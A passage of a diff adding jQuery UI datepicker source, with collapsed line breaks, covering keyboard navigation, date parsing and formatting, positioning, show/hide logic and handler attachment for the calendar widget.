event.target, ( event.ctrlKey ? + -$.datepicker._get( inst, "stepBigMonths" ) : + -$.datepicker._get( inst, "stepMonths" ) ), "M" ); + break; // previous month/year on page up/+ ctrl + case 34: $.datepicker._adjustDate( event.target, ( event.ctrlKey ? + +$.datepicker._get( inst, "stepBigMonths" ) : + +$.datepicker._get( inst, "stepMonths" ) ), "M" ); + break; // next month/year on page down/+ ctrl + case 35: if ( event.ctrlKey || event.metaKey ) { + $.datepicker._clearDate( event.target ); + } + handled = event.ctrlKey || event.metaKey; + break; // clear on ctrl or command +end + case 36: if ( event.ctrlKey || event.metaKey ) { + $.datepicker._gotoToday( event.target ); + } + handled = event.ctrlKey || event.metaKey; + break; // current on ctrl or command +home + case 37: if ( event.ctrlKey || event.metaKey ) { + $.datepicker._adjustDate( event.target, ( isRTL ? +1 : -1 ), "D" ); + } + handled = event.ctrlKey || event.metaKey; + + // -1 day on ctrl or command +left + if ( event.originalEvent.altKey ) { + $.datepicker._adjustDate( event.target, ( event.ctrlKey ? + -$.datepicker._get( inst, "stepBigMonths" ) : + -$.datepicker._get( inst, "stepMonths" ) ), "M" ); + } + + // next month/year on alt +left on Mac + break; + case 38: if ( event.ctrlKey || event.metaKey ) { + $.datepicker._adjustDate( event.target, -7, "D" ); + } + handled = event.ctrlKey || event.metaKey; + break; // -1 week on ctrl or command +up + case 39: if ( event.ctrlKey || event.metaKey ) { + $.datepicker._adjustDate( event.target, ( isRTL ? -1 : +1 ), "D" ); + } + handled = event.ctrlKey || event.metaKey; + + // +1 day on ctrl or command +right + if ( event.originalEvent.altKey ) { + $.datepicker._adjustDate( event.target, ( event.ctrlKey ? + +$.datepicker._get( inst, "stepBigMonths" ) : + +$.datepicker._get( inst, "stepMonths" ) ), "M" ); + } + + // next month/year on alt +right + break; + case 40: if ( event.ctrlKey || event.metaKey ) { + $.datepicker._adjustDate( event.target, +7, "D" ); + } + handled = event.ctrlKey || event.metaKey; + break; // +1 week on ctrl or command +down + default: handled = false; + } + } else if ( event.keyCode === 36 && event.ctrlKey ) { // display the date picker on ctrl+home + $.datepicker._showDatepicker( this ); + } else { + handled = false; + } + + if ( handled ) { + event.preventDefault(); + event.stopPropagation(); + } + }, + + /* Filter entered characters - based on date format. */ + _doKeyPress: function( event ) { + var chars, chr, + inst = $.datepicker._getInst( event.target ); + + if ( $.datepicker._get( inst, "constrainInput" ) ) { + chars = $.datepicker._possibleChars( $.datepicker._get( inst, "dateFormat" ) ); + chr = String.fromCharCode( event.charCode == null ? event.keyCode : event.charCode ); + return event.ctrlKey || event.metaKey || ( chr < " " || !chars || chars.indexOf( chr ) > -1 ); + } + }, + + /* Synchronise manual entry and field/alternate field. */ + _doKeyUp: function( event ) { + var date, + inst = $.datepicker._getInst( event.target ); + + if ( inst.input.val() !== inst.lastVal ) { + try { + date = $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ), + ( inst.input ? inst.input.val() : null ), + $.datepicker._getFormatConfig( inst ) ); + + if ( date ) { // only if valid + $.datepicker._setDateFromField( inst ); + $.datepicker._updateAlternate( inst ); + $.datepicker._updateDatepicker( inst ); + } + } + catch ( err ) { + } + } + return true; + }, + + /* Pop-up the date picker for a given input field. + * If false returned from beforeShow event handler do not show. + * @param input element - the input field attached to the date picker or + * event - if triggered by focus + */ + _showDatepicker: function( input ) { + input = input.target || input; + if ( input.nodeName.toLowerCase() !== "input" ) { // find from button/image trigger + input = $( "input", input.parentNode )[ 0 ]; + } + + if ( $.datepicker._isDisabledDatepicker( input ) || $.datepicker._lastInput === input ) { // already here + return; + } + + var inst, beforeShow, beforeShowSettings, isFixed, + offset, showAnim, duration; + + inst = $.datepicker._getInst( input ); + if ( $.datepicker._curInst && $.datepicker._curInst !== inst ) { + $.datepicker._curInst.dpDiv.stop( true, true ); + if ( inst && $.datepicker._datepickerShowing ) { + $.datepicker._hideDatepicker( $.datepicker._curInst.input[ 0 ] ); + } + } + + beforeShow = $.datepicker._get( inst, "beforeShow" ); + beforeShowSettings = beforeShow ? beforeShow.apply( input, [ input, inst ] ) : {}; + if ( beforeShowSettings === false ) { + return; + } + datepicker_extendRemove( inst.settings, beforeShowSettings ); + + inst.lastVal = null; + $.datepicker._lastInput = input; + $.datepicker._setDateFromField( inst ); + + if ( $.datepicker._inDialog ) { // hide cursor + input.value = ""; + } + if ( !$.datepicker._pos ) { // position below input + $.datepicker._pos = $.datepicker._findPos( input ); + $.datepicker._pos[ 1 ] += input.offsetHeight; // add the height + } + + isFixed = false; + $( input ).parents().each( function() { + isFixed |= $( this ).css( "position" ) === "fixed"; + return !isFixed; + } ); + + offset = { left: $.datepicker._pos[ 0 ], top: $.datepicker._pos[ 1 ] }; + $.datepicker._pos = null; + + //to avoid flashes on Firefox + inst.dpDiv.empty(); + + // determine sizing offscreen + inst.dpDiv.css( { position: "absolute", display: "block", top: "-1000px" } ); + $.datepicker._updateDatepicker( inst ); + + // fix width for dynamic number of date pickers + // and adjust position before showing + offset = $.datepicker._checkOffset( inst, offset, isFixed ); + inst.dpDiv.css( { position: ( $.datepicker._inDialog && $.blockUI ? + "static" : ( isFixed ? "fixed" : "absolute" ) ), display: "none", + left: offset.left + "px", top: offset.top + "px" } ); + + if ( !inst.inline ) { + showAnim = $.datepicker._get( inst, "showAnim" ); + duration = $.datepicker._get( inst, "duration" ); + inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 ); + $.datepicker._datepickerShowing = true; + + if ( $.effects && $.effects.effect[ showAnim ] ) { + inst.dpDiv.show( showAnim, $.datepicker._get( inst, "showOptions" ), duration ); + } else { + inst.dpDiv[ showAnim || "show" ]( showAnim ? duration : null ); + } + + if ( $.datepicker._shouldFocusInput( inst ) ) { + inst.input.trigger( "focus" ); + } + + $.datepicker._curInst = inst; + } + }, + + /* Generate the date picker content. */ + _updateDatepicker: function( inst ) { + this.maxRows = 4; //Reset the max number of rows being displayed (see #7043) + datepicker_instActive = inst; // for delegate hover events + inst.dpDiv.empty().append( this._generateHTML( inst ) ); + this._attachHandlers( inst ); + + var origyearshtml, + numMonths = this._getNumberOfMonths( inst ), + cols = numMonths[ 1 ], + width = 17, + activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" ); + + if ( activeCell.length > 0 ) { + datepicker_handleMouseover.apply( activeCell.get( 0 ) ); + } + + inst.dpDiv.removeClass( "ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4" ).width( "" ); + if ( cols > 1 ) { + inst.dpDiv.addClass( "ui-datepicker-multi-" + cols ).css( "width", ( width * cols ) + "em" ); + } + inst.dpDiv[ ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ? "add" : "remove" ) + + "Class" ]( "ui-datepicker-multi" ); + inst.dpDiv[ ( this._get( inst, "isRTL" ) ? "add" : "remove" ) + + "Class" ]( "ui-datepicker-rtl" ); + + if ( inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) { + inst.input.trigger( "focus" ); + } + + // Deffered render of the years select (to avoid flashes on Firefox) + if ( inst.yearshtml ) { + origyearshtml = inst.yearshtml; + setTimeout( function() { + + //assure that inst.yearshtml didn't change. + if ( origyearshtml === inst.yearshtml && inst.yearshtml ) { + inst.dpDiv.find( "select.ui-datepicker-year:first" ).replaceWith( inst.yearshtml ); + } + origyearshtml = inst.yearshtml = null; + }, 0 ); + } + }, + + // #6694 - don't focus the input if it's already focused + // this breaks the change event in IE + // Support: IE and jQuery <1.9 + _shouldFocusInput: function( inst ) { + return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" ); + }, + + /* Check positioning to remain on screen. */ + _checkOffset: function( inst, offset, isFixed ) { + var dpWidth = inst.dpDiv.outerWidth(), + dpHeight = inst.dpDiv.outerHeight(), + inputWidth = inst.input ? inst.input.outerWidth() : 0, + inputHeight = inst.input ? inst.input.outerHeight() : 0, + viewWidth = document.documentElement.clientWidth + ( isFixed ? 0 : $( document ).scrollLeft() ), + viewHeight = document.documentElement.clientHeight + ( isFixed ? 0 : $( document ).scrollTop() ); + + offset.left -= ( this._get( inst, "isRTL" ) ? ( dpWidth - inputWidth ) : 0 ); + offset.left -= ( isFixed && offset.left === inst.input.offset().left ) ? $( document ).scrollLeft() : 0; + offset.top -= ( isFixed && offset.top === ( inst.input.offset().top + inputHeight ) ) ? $( document ).scrollTop() : 0; + + // Now check if datepicker is showing outside window viewport - move to a better place if so. + offset.left -= Math.min( offset.left, ( offset.left + dpWidth > viewWidth && viewWidth > dpWidth ) ? + Math.abs( offset.left + dpWidth - viewWidth ) : 0 ); + offset.top -= Math.min( offset.top, ( offset.top + dpHeight > viewHeight && viewHeight > dpHeight ) ? + Math.abs( dpHeight + inputHeight ) : 0 ); + + return offset; + }, + + /* Find an object's position on the screen. */ + _findPos: function( obj ) { + var position, + inst = this._getInst( obj ), + isRTL = this._get( inst, "isRTL" ); + + while ( obj && ( obj.type === "hidden" || obj.nodeType !== 1 || $.expr.filters.hidden( obj ) ) ) { + obj = obj[ isRTL ? "previousSibling" : "nextSibling" ]; + } + + position = $( obj ).offset(); + return [ position.left, position.top ]; + }, + + /* Hide the date picker from view. + * @param input element - the input field attached to the date picker + */ + _hideDatepicker: function( input ) { + var showAnim, duration, postProcess, onClose, + inst = this._curInst; + + if ( !inst || ( input && inst !== $.data( input, "datepicker" ) ) ) { + return; + } + + if ( this._datepickerShowing ) { + showAnim = this._get( inst, "showAnim" ); + duration = this._get( inst, "duration" ); + postProcess = function() { + $.datepicker._tidyDialog( inst ); + }; + + // DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed + if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) { + inst.dpDiv.hide( showAnim, $.datepicker._get( inst, "showOptions" ), duration, postProcess ); + } else { + inst.dpDiv[ ( showAnim === "slideDown" ? "slideUp" : + ( showAnim === "fadeIn" ? "fadeOut" : "hide" ) ) ]( ( showAnim ? duration : null ), postProcess ); + } + + if ( !showAnim ) { + postProcess(); + } + this._datepickerShowing = false; + + onClose = this._get( inst, "onClose" ); + if ( onClose ) { + onClose.apply( ( inst.input ? inst.input[ 0 ] : null ), [ ( inst.input ? inst.input.val() : "" ), inst ] ); + } + + this._lastInput = null; + if ( this._inDialog ) { + this._dialogInput.css( { position: "absolute", left: "0", top: "-100px" } ); + if ( $.blockUI ) { + $.unblockUI(); + $( "body" ).append( this.dpDiv ); + } + } + this._inDialog = false; + } + }, + + /* Tidy up after a dialog display. */ + _tidyDialog: function( inst ) { + inst.dpDiv.removeClass( this._dialogClass ).off( ".ui-datepicker-calendar" ); + }, + + /* Close date picker if clicked elsewhere. */ + _checkExternalClick: function( event ) { + if ( !$.datepicker._curInst ) { + return; + } + + var $target = $( event.target ), + inst = $.datepicker._getInst( $target[ 0 ] ); + + if ( ( ( $target[ 0 ].id !== $.datepicker._mainDivId && + $target.parents( "#" + $.datepicker._mainDivId ).length === 0 && + !$target.hasClass( $.datepicker.markerClassName ) && + !$target.closest( "." + $.datepicker._triggerClass ).length && + $.datepicker._datepickerShowing && !( $.datepicker._inDialog && $.blockUI ) ) ) || + ( $target.hasClass( $.datepicker.markerClassName ) && $.datepicker._curInst !== inst ) ) { + $.datepicker._hideDatepicker(); + } + }, + + /* Adjust one of the date sub-fields. */ + _adjustDate: function( id, offset, period ) { + var target = $( id ), + inst = this._getInst( target[ 0 ] ); + + if ( this._isDisabledDatepicker( target[ 0 ] ) ) { + return; + } + this._adjustInstDate( inst, offset + + ( period === "M" ? this._get( inst, "showCurrentAtPos" ) : 0 ), // undo positioning + period ); + this._updateDatepicker( inst ); + }, + + /* Action for current link. */ + _gotoToday: function( id ) { + var date, + target = $( id ), + inst = this._getInst( target[ 0 ] ); + + if ( this._get( inst, "gotoCurrent" ) && inst.currentDay ) { + inst.selectedDay = inst.currentDay; + inst.drawMonth = inst.selectedMonth = inst.currentMonth; + inst.drawYear = inst.selectedYear = inst.currentYear; + } else { + date = new Date(); + inst.selectedDay = date.getDate(); + inst.drawMonth = inst.selectedMonth = date.getMonth(); + inst.drawYear = inst.selectedYear = date.getFullYear(); + } + this._notifyChange( inst ); + this._adjustDate( target ); + }, + + /* Action for selecting a new month/year. */ + _selectMonthYear: function( id, select, period ) { + var target = $( id ), + inst = this._getInst( target[ 0 ] ); + + inst[ "selected" + ( period === "M" ? "Month" : "Year" ) ] = + inst[ "draw" + ( period === "M" ? "Month" : "Year" ) ] = + parseInt( select.options[ select.selectedIndex ].value, 10 ); + + this._notifyChange( inst ); + this._adjustDate( target ); + }, + + /* Action for selecting a day. */ + _selectDay: function( id, month, year, td ) { + var inst, + target = $( id ); + + if ( $( td ).hasClass( this._unselectableClass ) || this._isDisabledDatepicker( target[ 0 ] ) ) { + return; + } + + inst = this._getInst( target[ 0 ] ); + inst.selectedDay = inst.currentDay = $( "a", td ).html(); + inst.selectedMonth = inst.currentMonth = month; + inst.selectedYear = inst.currentYear = year; + this._selectDate( id, this._formatDate( inst, + inst.currentDay, inst.currentMonth, inst.currentYear ) ); + }, + + /* Erase the input field and hide the date picker. */ + _clearDate: function( id ) { + var target = $( id ); + this._selectDate( target, "" ); + }, + + /* Update the input field with the selected date. */ + _selectDate: function( id, dateStr ) { + var onSelect, + target = $( id ), + inst = this._getInst( target[ 0 ] ); + + dateStr = ( dateStr != null ? dateStr : this._formatDate( inst ) ); + if ( inst.input ) { + inst.input.val( dateStr ); + } + this._updateAlternate( inst ); + + onSelect = this._get( inst, "onSelect" ); + if ( onSelect ) { + onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); // trigger custom callback + } else if ( inst.input ) { + inst.input.trigger( "change" ); // fire the change event + } + + if ( inst.inline ) { + this._updateDatepicker( inst ); + } else { + this._hideDatepicker(); + this._lastInput = inst.input[ 0 ]; + if ( typeof( inst.input[ 0 ] ) !== "object" ) { + inst.input.trigger( "focus" ); // restore focus + } + this._lastInput = null; + } + }, + + /* Update any alternate field to synchronise with the main field. */ + _updateAlternate: function( inst ) { + var altFormat, date, dateStr, + altField = this._get( inst, "altField" ); + + if ( altField ) { // update alternate field too + altFormat = this._get( inst, "altFormat" ) || this._get( inst, "dateFormat" ); + date = this._getDate( inst ); + dateStr = this.formatDate( altFormat, date, this._getFormatConfig( inst ) ); + $( altField ).val( dateStr ); + } + }, + + /* Set as beforeShowDay function to prevent selection of weekends. + * @param date Date - the date to customise + * @return [boolean, string] - is this date selectable?, what is its CSS class? + */ + noWeekends: function( date ) { + var day = date.getDay(); + return [ ( day > 0 && day < 6 ), "" ]; + }, + + /* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition. + * @param date Date - the date to get the week for + * @return number - the number of the week within the year that contains this date + */ + iso8601Week: function( date ) { + var time, + checkDate = new Date( date.getTime() ); + + // Find Thursday of this week starting on Monday + checkDate.setDate( checkDate.getDate() + 4 - ( checkDate.getDay() || 7 ) ); + + time = checkDate.getTime(); + checkDate.setMonth( 0 ); // Compare with Jan 1 + checkDate.setDate( 1 ); + return Math.floor( Math.round( ( time - checkDate ) / 86400000 ) / 7 ) + 1; + }, + + /* Parse a string value into a date object. + * See formatDate below for the possible formats. + * + * @param format string - the expected format of the date + * @param value string - the date in the above format + * @param settings Object - attributes include: + * shortYearCutoff number - the cutoff year for determining the century (optional) + * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) + * dayNames string[7] - names of the days from Sunday (optional) + * monthNamesShort string[12] - abbreviated names of the months (optional) + * monthNames string[12] - names of the months (optional) + * @return Date - the extracted date value or null if value is blank + */ + parseDate: function( format, value, settings ) { + if ( format == null || value == null ) { + throw "Invalid arguments"; + } + + value = ( typeof value === "object" ? value.toString() : value + "" ); + if ( value === "" ) { + return null; + } + + var iFormat, dim, extra, + iValue = 0, + shortYearCutoffTemp = ( settings ? settings.shortYearCutoff : null ) || this._defaults.shortYearCutoff, + shortYearCutoff = ( typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp : + new Date().getFullYear() % 100 + parseInt( shortYearCutoffTemp, 10 ) ), + dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort, + dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames, + monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort, + monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames, + year = -1, + month = -1, + day = -1, + doy = -1, + literal = false, + date, + + // Check whether a format character is doubled + lookAhead = function( match ) { + var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); + if ( matches ) { + iFormat++; + } + return matches; + }, + + // Extract a number from the string value + getNumber = function( match ) { + var isDoubled = lookAhead( match ), + size = ( match === "@" ? 14 : ( match === "!" ? 20 : + ( match === "y" && isDoubled ? 4 : ( match === "o" ? 3 : 2 ) ) ) ), + minSize = ( match === "y" ? size : 1 ), + digits = new RegExp( "^\\d{" + minSize + "," + size + "}" ), + num = value.substring( iValue ).match( digits ); + if ( !num ) { + throw "Missing number at position " + iValue; + } + iValue += num[ 0 ].length; + return parseInt( num[ 0 ], 10 ); + }, + + // Extract a name from the string value and convert to an index + getName = function( match, shortNames, longNames ) { + var index = -1, + names = $.map( lookAhead( match ) ? longNames : shortNames, function( v, k ) { + return [ [ k, v ] ]; + } ).sort( function( a, b ) { + return -( a[ 1 ].length - b[ 1 ].length ); + } ); + + $.each( names, function( i, pair ) { + var name = pair[ 1 ]; + if ( value.substr( iValue, name.length ).toLowerCase() === name.toLowerCase() ) { + index = pair[ 0 ]; + iValue += name.length; + return false; + } + } ); + if ( index !== -1 ) { + return index + 1; + } else { + throw "Unknown name at position " + iValue; + } + }, + + // Confirm that a literal character matches the string value + checkLiteral = function() { + if ( value.charAt( iValue ) !== format.charAt( iFormat ) ) { + throw "Unexpected literal at position " + iValue; + } + iValue++; + }; + + for ( iFormat = 0; iFormat < format.length; iFormat++ ) { + if ( literal ) { + if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { + literal = false; + } else { + checkLiteral(); + } + } else { + switch ( format.charAt( iFormat ) ) { + case "d": + day = getNumber( "d" ); + break; + case "D": + getName( "D", dayNamesShort, dayNames ); + break; + case "o": + doy = getNumber( "o" ); + break; + case "m": + month = getNumber( "m" ); + break; + case "M": + month = getName( "M", monthNamesShort, monthNames ); + break; + case "y": + year = getNumber( "y" ); + break; + case "@": + date = new Date( getNumber( "@" ) ); + year = date.getFullYear(); + month = date.getMonth() + 1; + day = date.getDate(); + break; + case "!": + date = new Date( ( getNumber( "!" ) - this._ticksTo1970 ) / 10000 ); + year = date.getFullYear(); + month = date.getMonth() + 1; + day = date.getDate(); + break; + case "'": + if ( lookAhead( "'" ) ) { + checkLiteral(); + } else { + literal = true; + } + break; + default: + checkLiteral(); + } + } + } + + if ( iValue < value.length ) { + extra = value.substr( iValue ); + if ( !/^\s+/.test( extra ) ) { + throw "Extra/unparsed characters found in date: " + extra; + } + } + + if ( year === -1 ) { + year = new Date().getFullYear(); + } else if ( year < 100 ) { + year += new Date().getFullYear() - new Date().getFullYear() % 100 + + ( year <= shortYearCutoff ? 0 : -100 ); + } + + if ( doy > -1 ) { + month = 1; + day = doy; + do { + dim = this._getDaysInMonth( year, month - 1 ); + if ( day <= dim ) { + break; + } + month++; + day -= dim; + } while ( true ); + } + + date = this._daylightSavingAdjust( new Date( year, month - 1, day ) ); + if ( date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day ) { + throw "Invalid date"; // E.g. 31/02/00 + } + return date; + }, + + /* Standard date formats. */ + ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601) + COOKIE: "D, dd M yy", + ISO_8601: "yy-mm-dd", + RFC_822: "D, d M y", + RFC_850: "DD, dd-M-y", + RFC_1036: "D, d M y", + RFC_1123: "D, d M yy", + RFC_2822: "D, d M yy", + RSS: "D, d M y", // RFC 822 + TICKS: "!", + TIMESTAMP: "@", + W3C: "yy-mm-dd", // ISO 8601 + + _ticksTo1970: ( ( ( 1970 - 1 ) * 365 + Math.floor( 1970 / 4 ) - Math.floor( 1970 / 100 ) + + Math.floor( 1970 / 400 ) ) * 24 * 60 * 60 * 10000000 ), + + /* Format a date object into a string value. + * The format can be combinations of the following: + * d - day of month (no leading zero) + * dd - day of month (two digit) + * o - day of year (no leading zeros) + * oo - day of year (three digit) + * D - day name short + * DD - day name long + * m - month of year (no leading zero) + * mm - month of year (two digit) + * M - month name short + * MM - month name long + * y - year (two digit) + * yy - year (four digit) + * @ - Unix timestamp (ms since 01/01/1970) + * ! - Windows ticks (100ns since 01/01/0001) + * "..." - literal text + * '' - single quote + * + * @param format string - the desired format of the date + * @param date Date - the date value to format + * @param settings Object - attributes include: + * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) + * dayNames string[7] - names of the days from Sunday (optional) + * monthNamesShort string[12] - abbreviated names of the months (optional) + * monthNames string[12] - names of the months (optional) + * @return string - the date in the above format + */ + formatDate: function( format, date, settings ) { + if ( !date ) { + return ""; + } + + var iFormat, + dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort, + dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames, + monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort, + monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames, + + // Check whether a format character is doubled + lookAhead = function( match ) { + var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); + if ( matches ) { + iFormat++; + } + return matches; + }, + + // Format a number, with leading zero if necessary + formatNumber = function( match, value, len ) { + var num = "" + value; + if ( lookAhead( match ) ) { + while ( num.length < len ) { + num = "0" + num; + } + } + return num; + }, + + // Format a name, short or long as requested + formatName = function( match, value, shortNames, longNames ) { + return ( lookAhead( match ) ? longNames[ value ] : shortNames[ value ] ); + }, + output = "", + literal = false; + + if ( date ) { + for ( iFormat = 0; iFormat < format.length; iFormat++ ) { + if ( literal ) { + if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { + literal = false; + } else { + output += format.charAt( iFormat ); + } + } else { + switch ( format.charAt( iFormat ) ) { + case "d": + output += formatNumber( "d", date.getDate(), 2 ); + break; + case "D": + output += formatName( "D", date.getDay(), dayNamesShort, dayNames ); + break; + case "o": + output += formatNumber( "o", + Math.round( ( new Date( date.getFullYear(), date.getMonth(), date.getDate() ).getTime() - new Date( date.getFullYear(), 0, 0 ).getTime() ) / 86400000 ), 3 ); + break; + case "m": + output += formatNumber( "m", date.getMonth() + 1, 2 ); + break; + case "M": + output += formatName( "M", date.getMonth(), monthNamesShort, monthNames ); + break; + case "y": + output += ( lookAhead( "y" ) ? date.getFullYear() : + ( date.getFullYear() % 100 < 10 ? "0" : "" ) + date.getFullYear() % 100 ); + break; + case "@": + output += date.getTime(); + break; + case "!": + output += date.getTime() * 10000 + this._ticksTo1970; + break; + case "'": + if ( lookAhead( "'" ) ) { + output += "'"; + } else { + literal = true; + } + break; + default: + output += format.charAt( iFormat ); + } + } + } + } + return output; + }, + + /* Extract all possible characters from the date format. */ + _possibleChars: function( format ) { + var iFormat, + chars = "", + literal = false, + + // Check whether a format character is doubled + lookAhead = function( match ) { + var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); + if ( matches ) { + iFormat++; + } + return matches; + }; + + for ( iFormat = 0; iFormat < format.length; iFormat++ ) { + if ( literal ) { + if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { + literal = false; + } else { + chars += format.charAt( iFormat ); + } + } else { + switch ( format.charAt( iFormat ) ) { + case "d": case "m": case "y": case "@": + chars += "0123456789"; + break; + case "D": case "M": + return null; // Accept anything + case "'": + if ( lookAhead( "'" ) ) { + chars += "'"; + } else { + literal = true; + } + break; + default: + chars += format.charAt( iFormat ); + } + } + } + return chars; + }, + + /* Get a setting value, defaulting if necessary. */ + _get: function( inst, name ) { + return inst.settings[ name ] !== undefined ? + inst.settings[ name ] : this._defaults[ name ]; + }, + + /* Parse existing date and initialise date picker. */ + _setDateFromField: function( inst, noDefault ) { + if ( inst.input.val() === inst.lastVal ) { + return; + } + + var dateFormat = this._get( inst, "dateFormat" ), + dates = inst.lastVal = inst.input ? inst.input.val() : null, + defaultDate = this._getDefaultDate( inst ), + date = defaultDate, + settings = this._getFormatConfig( inst ); + + try { + date = this.parseDate( dateFormat, dates, settings ) || defaultDate; + } catch ( event ) { + dates = ( noDefault ? "" : dates ); + } + inst.selectedDay = date.getDate(); + inst.drawMonth = inst.selectedMonth = date.getMonth(); + inst.drawYear = inst.selectedYear = date.getFullYear(); + inst.currentDay = ( dates ? date.getDate() : 0 ); + inst.currentMonth = ( dates ? date.getMonth() : 0 ); + inst.currentYear = ( dates ? date.getFullYear() : 0 ); + this._adjustInstDate( inst ); + }, + + /* Retrieve the default date shown on opening. */ + _getDefaultDate: function( inst ) { + return this._restrictMinMax( inst, + this._determineDate( inst, this._get( inst, "defaultDate" ), new Date() ) ); + }, + + /* A date may be specified as an exact value or a relative one. */ + _determineDate: function( inst, date, defaultDate ) { + var offsetNumeric = function( offset ) { + var date = new Date(); + date.setDate( date.getDate() + offset ); + return date; + }, + offsetString = function( offset ) { + try { + return $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ), + offset, $.datepicker._getFormatConfig( inst ) ); + } + catch ( e ) { + + // Ignore + } + + var date = ( offset.toLowerCase().match( /^c/ ) ? + $.datepicker._getDate( inst ) : null ) || new Date(), + year = date.getFullYear(), + month = date.getMonth(), + day = date.getDate(), + pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g, + matches = pattern.exec( offset ); + + while ( matches ) { + switch ( matches[ 2 ] || "d" ) { + case "d" : case "D" : + day += parseInt( matches[ 1 ], 10 ); break; + case "w" : case "W" : + day += parseInt( matches[ 1 ], 10 ) * 7; break; + case "m" : case "M" : + month += parseInt( matches[ 1 ], 10 ); + day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) ); + break; + case "y": case "Y" : + year += parseInt( matches[ 1 ], 10 ); + day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) ); + break; + } + matches = pattern.exec( offset ); + } + return new Date( year, month, day ); + }, + newDate = ( date == null || date === "" ? defaultDate : ( typeof date === "string" ? offsetString( date ) : + ( typeof date === "number" ? ( isNaN( date ) ? defaultDate : offsetNumeric( date ) ) : new Date( date.getTime() ) ) ) ); + + newDate = ( newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate ); + if ( newDate ) { + newDate.setHours( 0 ); + newDate.setMinutes( 0 ); + newDate.setSeconds( 0 ); + newDate.setMilliseconds( 0 ); + } + return this._daylightSavingAdjust( newDate ); + }, + + /* Handle switch to/from daylight saving. + * Hours may be non-zero on daylight saving cut-over: + * > 12 when midnight changeover, but then cannot generate + * midnight datetime, so jump to 1AM, otherwise reset. + * @param date (Date) the date to check + * @return (Date) the corrected date + */ + _daylightSavingAdjust: function( date ) { + if ( !date ) { + return null; + } + date.setHours( date.getHours() > 12 ? date.getHours() + 2 : 0 ); + return date; + }, + + /* Set the date(s) directly. */ + _setDate: function( inst, date, noChange ) { + var clear = !date, + origMonth = inst.selectedMonth, + origYear = inst.selectedYear, + newDate = this._restrictMinMax( inst, this._determineDate( inst, date, new Date() ) ); + + inst.selectedDay = inst.currentDay = newDate.getDate(); + inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth(); + inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear(); + if ( ( origMonth !== inst.selectedMonth || origYear !== inst.selectedYear ) && !noChange ) { + this._notifyChange( inst ); + } + this._adjustInstDate( inst ); + if ( inst.input ) { + inst.input.val( clear ? "" : this._formatDate( inst ) ); + } + }, + + /* Retrieve the date(s) directly. */ + _getDate: function( inst ) { + var startDate = ( !inst.currentYear || ( inst.input && inst.input.val() === "" ) ? null : + this._daylightSavingAdjust( new Date( + inst.currentYear, inst.currentMonth, inst.currentDay ) ) ); + return startDate; + }, + + /* Attach the onxxx handlers. These are declared statically so + * they work with static code transformers like Caja. + */ + _attachHandlers: function( inst ) { + var stepMonths = this._get( inst, "stepMonths" ), + id = "#" + inst.id.replace( /\\\\/g, "\\" ); + inst.dpDiv.find( "[data-handler]" ).map( function() { + var handler = { + prev: function() { + $.datepicker._adjustDate( id, -stepMonths, "M" ); + }, + next: function() { + $.datepicker._adjustDate( id, +stepMonths, "M" ); + }, + hide: function() { + $.datepicker._hideDatepicker(); + }, + today: function() { + $.datepicker._gotoToday( id ); + }, + selectDay: function() { + $.datepicker._selectDay( id, +this.getAttribute( "data-month" ), +this.getAttribute( "data-year" ), this ); + return false; + }, + selectMonth: function() { + $.datepicker._selectMonthYear( id, this, "M" ); + return false; + }, + selectYear: function() { + $.datepicker._selectMonthYear( id, this, "Y" ); + return false; + } + }; + $( this ).on( this.getAttribute( "data-event" ), handler[ this.getAttribute( "data-handler" ) ] ); + } ); + }, + + /* Generate the HTML for the current state of the date picker. */ + _generateHTML: function( inst ) { + var maxDraw, prevText, prev, nextText, next, currentText, gotoDate, + controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin, + monthNames, monthNamesShort, beforeShowDay, showOtherMonths, + selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate, + cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows, + printDate, dRow, tbody, daySettings, otherMonth, unselectable, + tempDate = new Date(), + today = this._daylightSavingAdjust( + new Date( tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate() ) ), // clear time + isRTL = this._get( inst, "isRTL" ), + showButtonPanel = this._get( inst, "showButtonPanel" ), + hideIfNoPrevNext 